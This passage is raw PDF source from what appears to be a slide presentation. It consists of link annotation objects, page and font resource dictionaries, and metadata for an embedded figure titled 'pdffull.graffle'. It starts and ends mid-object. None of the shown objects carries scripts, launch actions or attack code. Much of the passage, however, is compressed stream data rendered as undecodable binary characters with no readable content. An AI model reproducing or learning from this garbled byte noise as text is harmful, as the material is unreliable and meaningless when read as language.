.5 .5] /Rect [263.697 5.96 270.671 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 183 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [268.679 5.96 275.652 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 184 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [275.071 5.96 282.044 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 185 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [280.052 5.96 287.026 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 186 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [285.033 5.96 292.007 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 187 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [290.014 5.96 296.988 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 188 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [296.406 5.96 303.38 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 189 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [301.388 5.96 308.362 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 190 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [306.369 5.96 313.343 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 191 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [311.35 5.96 318.324 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 192 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [317.742 5.96 328.701 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 193 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [326.709 5.96 339.66 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 194 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [339.078 5.96 348.045 15.425] /Subtype /Link /A<> >> endobj 195 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [346.052 5.96 354.022 15.425] /Subtype /Link /A<> >> endobj 196 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [352.03 5.96 360.996 15.425] /Subtype /Link /A<> >> endobj 197 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 264.495 182.414 271.878] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 198 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 259.104 182.414 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 199 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 253.713 182.414 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 200 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 248.323 182.414 255.706] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 201 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [182.753 -0.996 291.642 5.96] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 168 0 obj << /D [203 0 R /XYZ 334.488 1.245 null] >> endobj 206 0 obj << /D [203 0 R /XYZ 334.488 1.245 null] >> endobj 202 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F56 205 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm8 169 0 R /Fm9 170 0 R /Fm10 171 0 R /Fm12 173 0 R /Fm13 174 0 R /Fm11 172 0 R /Fm14 175 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 242 0 obj << /Length 2422 /Filter /FlateDecode >> stream xZYS#~W+yq=Ä7rD@u6jaxᙀΪ*+K))yΔWI'{!-[/g?^(ᩄՎyK7[υq2 2xn⠣-'j/ ?(zRKޯư-E7T@@0 O0N-cQ!΂蕲b0t:1`ǹfeZ* @O"}y64^fBu#$#yJzsރp@jA&}Mׅ<5&U}˫σ6䑀?<6fnN_|Nj׬JWP}|;`?ˎgD }¢ IF!!X9 )9dV Vd6 8)h^h=NVHY΃% }+2S[<W%U^]` x|vȃ9R6uWw4 9xk`d$gɸGN"`r^cghK5&ROY}aofa=VXa倜T;Z-( 6SJ;0*9 1rq!b`,܃P$ӈԍ"}HpY97EVwj$¡'ێN؀#>wΩA9gR,.r3O8j  7]StO9'B>_d /dP%#6%ߏy^8&vyg() EL>nn/$|6 x+Bw95f %7^eN~hɏ};hTo q[Y`6oM>eXBkGNk ]mȠl ºl4 ~RPip"R f&lwh7FfN|B|,u,zq{XٷH-ierV[W D_.Iž$!e2o'Ǩq|7ߎ!C8ac׭2MF) J dq}EQm郆ŐaIΏ}Iu95bD/A0R,}$cB* Si K2@LES( DK+ZC}*q`EL(^y`rՕi M|dEIhrrM)RU%k[׎NwG+e3#T!nWɭD =VL|LNϛ庝#9ӮnSS;] $^4j٤?ë́N) kyS|RoA2cJ}=M@$&5˦_(_U]c@C:_{F 4jNiet%q2*9Mg ob"[5v#cDp'1MtE[ׇxHc |$,^L:vкW$WX*>iJV{.V&SDd+8 >{bwO endstream endobj 241 0 obj << /Type /Page /Contents 242 0 R /Resources 240 0 R /MediaBox [0 0 362.835 272.126] /Trans << /S /R >> /Parent 90 0 R /Annots [ 214 0 R 215 0 R 216 0 R 217 0 R 218 0 R 219 0 R 220 0 R 221 0 R 222 0 R 223 0 R 224 0 R 225 0 R 226 0 R 227 0 R 228 0 R 229 0 R 230 0 R 231 0 R 232 0 R 233 0 R 234 0 R 235 0 R 236 0 R 237 0 R 238 0 R 239 0 R ] >> endobj 214 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[0 1 1] /Rect [336.542 15.425 360.996 40.094] /Subtype/Link/A<> >> endobj 215 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [232.399 5.96 240.369 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation3) >> >> endobj 216 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [238.376 5.96 248.339 15.425] /Subtype /Link /A<> >> endobj 217 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [246.346 5.96 254.316 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 218 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [253.735 5.96 260.708 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation2) >> >> endobj 219 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [258.716 5.96 265.69 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation3) >> >> endobj 220 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [263.697 5.96 270.671 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 221 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [268.679 5.96 275.652 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 222 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [275.071 5.96 282.044 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 223 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [280.052 5.96 287.026 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 224 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [285.033 5.96 292.007 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 225 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [290.014 5.96 296.988 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 226 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [296.406 5.96 303.38 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 227 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [301.388 5.96 308.362 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 228 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [306.369 5.96 313.343 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 229 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [311.35 5.96 318.324 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 230 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [317.742 5.96 328.701 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 231 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [326.709 5.96 339.66 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 232 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [339.078 5.96 348.045 15.425] /Subtype /Link /A<> >> endobj 233 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [346.052 5.96 354.022 15.425] /Subtype /Link /A<> >> endobj 234 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [352.03 5.96 360.996 15.425] /Subtype /Link /A<> >> endobj 235 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 264.495 182.414 271.878] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 236 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 259.104 182.414 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 237 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 253.713 182.414 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 238 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 248.323 182.414 255.706] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 239 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [182.753 -0.996 291.642 5.96] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 112 0 obj << /D [241 0 R /XYZ 334.488 1.245 null] >> endobj 243 0 obj << /D [241 0 R /XYZ 334.488 1.245 null] >> endobj 240 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F56 205 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm8 169 0 R /Fm9 170 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 277 0 obj << /Length 1810 /Filter /FlateDecode >> stream xZIo[7WT"CqɭAʲk%h33ܞmI%M48\fH ęP@k[ )Je0^KN\O`G2FA(g%C_7Bilu K.9`J ]Hcd6u|SNNEC:]8r@N%v 1Ni;fs%KWpЉmvQEL7Fhd8}Z̭,Y(t% Jј11}k{!#;l RNɘ(oM+IV/o|N u* ՊwPN12ި~@v#QG0!OR>=ޜMP޺%_$}S1l(^-[r.?L:ψ xB5P5|.c Wz5]?e hIeC ~K=<7Nƨ0\bF(+v)Mw$d*\ylɍZHn_d K)4wB4j ]MaJ)cE|6y~):8`Sz޴[w~y9(;=T/On3KhB R[ y{%|RZ3 )Nd5ViǢwWX]!")"戉 JU#)HgiU;?oQQtw=K wtz 2ϹjcR{6/pH>B;W9)oqki5WV穌g<{?I=`{I#:=E endstream endobj 276 0 obj << /Type /Page /Contents 277 0 R /Resources 275 0 R /MediaBox [0 0 362.835 272.126] /Trans << /S /R >> /Parent 90 0 R /Annots [ 249 0 R 250 0 R 251 0 R 252 0 R 253 0 R 254 0 R 255 0 R 256 0 R 257 0 R 258 0 R 259 0 R 260 0 R 261 0 R 262 0 R 263 0 R 264 0 R 265 0 R 266 0 R 267 0 R 268 0 R 269 0 R 270 0 R 271 0 R 272 0 R 273 0 R 245 0 R 246 0 R 247 0 R 248 0 R 274 0 R ] >> endobj 244 0 obj << /Type /XObject /Subtype /Form /BBox [0 0 11.501 11.501] /FormType 1 /Matrix [1 0 0 1 0 0] /Resources 279 0 R /Length 15 /Filter /FlateDecode >> stream xP( endstream endobj 279 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [0.0 5.75043] /Coords [3.53873 8.4045 0.0 5.75043 5.75043 5.75043] /Function << /FunctionType 3 /Domain [0.0 5.75043] /Functions [ << /FunctionType 2 /Domain [0.0 5.75043] /C0 [0.6555 0.65823 0.75432] /C1 [0.26178 0.26765 0.47354] /N 1 >> << /FunctionType 2 /Domain [0.0 5.75043] /C0 [0.26178 0.26765 0.47354] /C1 [0.1099 0.11482 0.28777] /N 1 >> << /FunctionType 2 /Domain [0.0 5.75043] /C0 [0.1099 0.11482 0.28777] /C1 [0.10706 0.11058 0.23413] /N 1 >> << /FunctionType 2 /Domain [0.0 5.75043] /C0 [0.10706 0.11058 0.23413] /C1 [1 1 1] /N 1 >> ] /Bounds [ 1.9463 3.89261 5.30806] /Encode [0 1 0 1 0 1 0 1] >> /Extend [true false] >> >> /ProcSet [ /PDF ] >> endobj 249 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[0 1 1] /Rect [336.542 15.425 360.996 40.094] /Subtype/Link/A<> >> endobj 250 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [232.399 5.96 240.369 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 251 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [238.376 5.96 248.339 15.425] /Subtype /Link /A<> >> endobj 252 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [246.346 5.96 254.316 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 253 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [253.735 5.96 260.708 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 254 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [258.716 5.96 265.69 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 255 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [263.697 5.96 270.671 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 256 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [268.679 5.96 275.652 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 257 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [275.071 5.96 282.044 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 258 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [280.052 5.96 287.026 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 259 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [285.033 5.96 292.007 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 260 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [290.014 5.96 296.988 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 261 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [296.406 5.96 303.38 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 262 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [301.388 5.96 308.362 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 263 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [306.369 5.96 313.343 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 264 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [311.35 5.96 318.324 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 265 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [317.742 5.96 328.701 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 266 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [326.709 5.96 339.66 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 267 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [339.078 5.96 348.045 15.425] /Subtype /Link /A<> >> endobj 268 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [346.052 5.96 354.022 15.425] /Subtype /Link /A<> >> endobj 269 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [352.03 5.96 360.996 15.425] /Subtype /Link /A<> >> endobj 270 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 264.495 182.414 271.878] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 271 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 259.104 182.414 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 272 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 253.713 182.414 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 273 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 248.323 182.414 255.706] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 245 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [39.514 166.639 167.034 178.642] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 246 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [39.514 140.297 151.749 151.742] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 247 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [39.514 115.331 101.969 124.843] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 248 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [39.514 86.499 253.638 97.944] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 274 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [182.753 -0.996 291.642 5.96] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 13 0 obj << /D [276 0 R /XYZ 28.346 246.281 null] >> endobj 113 0 obj << /D [276 0 R /XYZ 334.488 1.245 null] >> endobj 278 0 obj << /D [276 0 R /XYZ 334.488 1.245 null] >> endobj 275 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F53 154 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm15 244 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 310 0 obj << /Length 1394 /Filter /FlateDecode >> stream xXKo7Wtti- AA]ˮ˪em}gڵ,dq3rpfHΙ`Fblk^& -[Г[8VՎ-uխB* &]9r &8Qq˵G{/aͭT"iݵ#TZT`eh{d)d KD `wJ10c6:$)/[hBț`i.t9KYKV(nUH9#0#)0,Iӧ|%+l0[u;N$-'u$!<74BG,q֐'"==?cp{!PkA!&{|6L>'Oѓz+֗I딙P|8 uDbiǯӣ^|ͮ< SYIU(\&MGc{J MuX2C(t|y/irtAImnFÝV[G { /#f;ɶy`[[oT?&%<{hE?1|C?8oY n(=o\.s0W ID.N`鯜פ?X Dr0< k ]+gi2MKۨmR H4Z,8|fw0B5Z{V%l"ԾͲy/^T*7IaI0W@3[ƷO;iDhW٬ǭv9#E-?{n'].-?;M4|f-r !(woWڑvq {X"!>MKJRn`,3(Q8}+YB:)fx\X yd!jxX*p2f*,X|z% &c;:> /Parent 90 0 R /Annots [ 282 0 R 283 0 R 284 0 R 285 0 R 286 0 R 287 0 R 288 0 R 289 0 R 290 0 R 291 0 R 292 0 R 293 0 R 294 0 R 295 0 R 296 0 R 297 0 R 298 0 R 299 0 R 300 0 R 301 0 R 302 0 R 303 0 R 304 0 R 305 0 R 306 0 R 307 0 R ] >> endobj 281 0 obj << /Type /XObject /Subtype /Form /FormType 1 /PTEX.FileName (./figs/pdffull.pdf) /PTEX.PageNumber 1 /PTEX.InfoDict 313 0 R /BBox [0 0 466 380] /Resources << /ProcSet [ /PDF /Text /ImageB /ImageC /ImageI ] /ColorSpace << /Cs2 314 0 R /Cs1 315 0 R >>/ExtGState << /Gs2 316 0 R /Gs3 317 0 R /Gs4 318 0 R /Gs1 319 0 R /Gs5 320 0 R >>/Font << /F1.0 321 0 R/F2.0 322 0 R/F3.0 323 0 R>> /XObject << /Im22 324 0 R /Im7 325 0 R /Im5 326 0 R /Im15 327 0 R /Im10 328 0 R /Im11 329 0 R /Im12 330 0 R /Im21 331 0 R /Im27 332 0 R /Im26 333 0 R /Im16 334 0 R /Im18 335 0 R /Im2 336 0 R /Im29 337 0 R /Im13 338 0 R /Im23 339 0 R /Im20 340 0 R /Im6 341 0 R /Im17 342 0 R /Im3 343 0 R /Im25 344 0 R /Im28 345 0 R /Im24 346 0 R /Im4 347 0 R /Im8 348 0 R /Im9 349 0 R /Im1 350 0 R /Im19 351 0 R /Im14 352 0 R >>>> /Length 353 0 R /Filter /FlateDecode >> stream xr²3޸/c2jKAܒ 9i D@^m~jtk77ôgvY]zz߀O]pèa4/x{Xaf\~5>`- cE -&?ݿ^~6ijvq5s}r iXnZk6j50O6xh kL68C|l=*P0٢\:.g>r'-V<-1s=?0밍ׇ2ln}F>2Ӆ'3sc.lӶmc^ٮ0a[q궵mcglB\cYCif(.AN a]چeVb0bUq{kEԅiBez`l zVaDc? *MpE,8s]ٱEOSaGzzDCmee(v-C |f=߳Kys0@ ERCqkϠتԎ[7LB ފvzQS-:IΙ oi6iԺ'f2\ⴖmwMI"g EM|)CvHP]n1c(ެоo'dz>^Mi$+ g -ء#M2,XH#xֆ} " ̀zBAj\~L(پ)371Uf\둟߷?EYXZ"IKOSCq+,ۛe)߆޾z|{ջR8D|N90gSLK1%0ՄY6YJLd/dk$<_v~Nᱚ1yq=u"+B^Q?5+O&?֒c4~qv&b]=JO9'y2dތlz x6bAk2QU>AmxF(l `7hH淐gK&ϯg^*=\ & ]fH"V .=tHb /Jm˖{cei%Mq'cq )y~ =ȼ %L&4+#_``jpɊOޝ4:&k8eä !zz?0Yl6u+E9hcurv0vOo<??ki{ݧ6"Ehg<_~:Y7sٗB>|YXe_$Ck1 ~3 Bݤ s-"t)0&$;ZJ*aŽ2t8Oi{eU'Gw g'Xz,3FդᢹUbQB W.ޔ9ey\}:ZtIJXXFKBzEsSs5.^uj7NVX{lm$}E@IvОd_:fVបRsnm~&aRetVuv\%ޗmmDW JϑstE4D߾6'mܖz\ ,ڴQFdAAaN'͝\Mcz8ѯ _uUR%/|Zfܽp~++M d^T@\Rb %i1f, t`ѤC˧פ%FQHB9sSe{+P`a -KgwFVKhXT-&/2Zz"a8F'uI,u߮c7h %)5q 1H8@[F=kk]{ޱ0PF-Y@ҷ4 dOq!px Pr; Q>aخOwhz E9SD7予'.#TֽWz!DļrFRL?KkW^r--H;]׬衮z{S uLGl+p@M8 Y1@p@I[Pn-v#ʪMft PuJ^X.R* wk%;Z4o%:KH%V$}p##4+nMí ><@6Nn^W^`Y ZfrS4`T] Eó$v49)<`tfdL&ɧuq83o((?v;DbqIZ7ز|ˏ>}j{]:>n0;Җ!H{S`ɅoèBJ̀gf 0ΕofBBC#zi2c[@ڐ:/C%ӕ'@t9Jdotvtv/4}e`""f=<7<>8HGJ pV!,DH82sԵL#ʨq_x5"(,M8T+VXnbER&X48m4s#% 063_gUbCE^P!{O2&w*W o$>W#yWH}OT8RܤPmይ m"$ȿ6 Ǫ`?m_~G**_# Aae$@dm{ V!Ԇƚ0KxaT.r;@7aC;DQr\FOz ?fz!r˭:!ϼћ$ μ(Ϣaչ_U^;ͷQQλU/SPӀZRZ~fIoF/! +YZvPusЫ7X( ;2b+(A*M6Hz'rf 8`v"zͫ ʃg̓?Z.j;LBe?7g|ooBWՋ}U(cU^ρSnr3K{ PZNM$=YN;NFT#}|'w}eǂWY1r%F D(#J:UXe|63, FjCr jz1&:M%B2I&w+lqb_(.V 3mM F i9YuN3yqC4V`PeYA\٩i\XcP7:k@@&z90~Uڒ˯ˇtAc,Fn;@BtBہ;";lcnVWSZq'7`J C䢴j&Y(Uٜ47*DrQ-he\q\椆ec>k2ʸ/n =A)>Kfy(d40\tʇDG !vxִ!+Q4w֨ cJ1Ӊ489 4iSଝς*-LOf>s4}HU5d7ast4Jow_ ~\1$ܨ"IKi+u.%_1uo_|| @ih=dE/xyf|Q endstream endobj 313 0 obj << /Author (Fred Raynal) /CreationDate (D:20090525142500Z) /Creator (OmniGraffle Professional 5.1.1) /ModDate (D:20090525143000Z) /Producer (Mac OS X 10.5.7 Quartz PDFContext) /Title (pdffull.graffle) >> endobj 314 0 obj [/ICCBased 354 0 R] endobj 315 0 obj [/ICCBased 355 0 R] endobj 316 0 obj << /Type /ExtGState /ca 1 >> endobj 317 0 obj << /Type /ExtGState /ca 0.1 >> endobj 318 0 obj << /Type /ExtGState /CA 0.75 >> endobj 319 0 obj << /Type /ExtGState /ca 0 >> endobj 320 0 obj << /Type /ExtGState /CA 1 >> endobj 321 0 obj << /Type /Font /Subtype /TrueType /BaseFont /PYSRJI#2BCourierNewPS-BoldMT /FontDescriptor 356 0 R /Widths 357 0 R /FirstChar 32 /LastChar 122 /Encoding /MacRomanEncoding >> endobj 322 0 obj << /Type /Font /Subtype /TrueType /BaseFont /FDLUQU#2BCochin-Bold /FontDescriptor 358 0 R /Widths 359 0 R /FirstChar 70 /LastChar 108 /Encoding /MacRomanEncoding >> endobj 323 0 obj << /Type /Font /Subtype /TrueType /BaseFont /XMSHNQ#2BCochin /FontDescriptor 360 0 R /Widths 361 0 R /FirstChar 32 /LastChar 116 /Encoding /MacRomanEncoding >> endobj 324 0 obj << /Length 362 0 R /Type /XObject /Subtype /Image /Width 89 /Height 35 /ColorSpace 315 0 R /SMask 363 0 R /BitsPerComponent 8 /Filter /FlateDecode >> stream xXgTEξ8ag8J *9.,E JTuu׫/Lι޺RaQ/J»EIx(ob^Vx5/ yAx1 M37s_9fx3#?gYFx84<0?M )4%Lӝi3",MDW tW }T`Y; z2@c.}_Sz5 >0lO6?DO2Kr>FGYzߦo P)pk&1}h׏~kuM?_4 Z_Uߥo@n "?;a !6}F6$ٚl߸6ָ:F'>OZ71}hR@_V_߸:F\2Z~ .kR Jwcğ u'ԚRq%ih]˿xkͿ>@J/ GKnD`.ۧq i>}7 Ηs4,~}_} ԝiVCZ|~=藚RD@RhW<Ɵ'O`gX_V?_>pV;+~cƟO7՗ OGok`}՗A4ej1Q5ZhϳKſ?C© ~cnO>ModMD8p2a-?O"B?ym~#F@c;A[j.?N{/_U_4ex/~aa  ep.9bĿR@T_Gnۯ53_Ki~%z=qz9~׹VݏgwӇ$}᠆sԗxo}~xHǷӿ2@g]R)b϶Ͽ/V oE#7@?~}xw6eLm_-"j%f])>ߢh|Vq endstream endobj 325 0 obj << /Length 364 0 R /Type /XObject /Subtype /Image /Width 111 /Height 57 /ColorSpace 315 0 R /SMask 365 0 R /BitsPerComponent 8 /Filter /FlateDecode >> stream xn6E.I$)rY GI{WwfdM6Q+tM!9b1fff E۪=fl~kiq4G4A ^PnŪ)W:|nneUwUu} ~Soh\#H ?%CG46X$dF'כe'Eq[7M˪muWR7M'0cL7>mSz~5ʾHQfS,2)wɾLjx"Dt`}!͘s>f}e7{S`lYҺX<(  ަ\b~̅~Mx̷.rWt[.< #&1f:gK蠴 jBݧj'-,]1v%$L"{DH*0Pb '"fdE2g4RJ +3ttre-%$,TNH,Q㥏yKh'~q.MVȯ>%EC^Pk̹ (D{Z-:T)EmghXf6}CxB~$(DlU, B将2U`2y՚i*'(Ndڪj3@af{gv$ETbALO1۽}Ob'UELԢ2T^q`XM;~r;N Shi˞K q4#eAha@U_uBdstd= zfvK, dtf v \1AMRFj\r>^Y+z~*;^RZ$:05ᨋ'MCD S>OJTnCn ɟgX15%s*InL3.*5yʴQKd́OY% /33{′ endstream endobj 326 0 obj << /Length 366 0 R /Type /XObject /Subtype /Image /Width 111 /Height 57 /ColorSpace 315 0 R /SMask 367 0 R /BitsPerComponent 8 /Filter /FlateDecode >> stream xnD 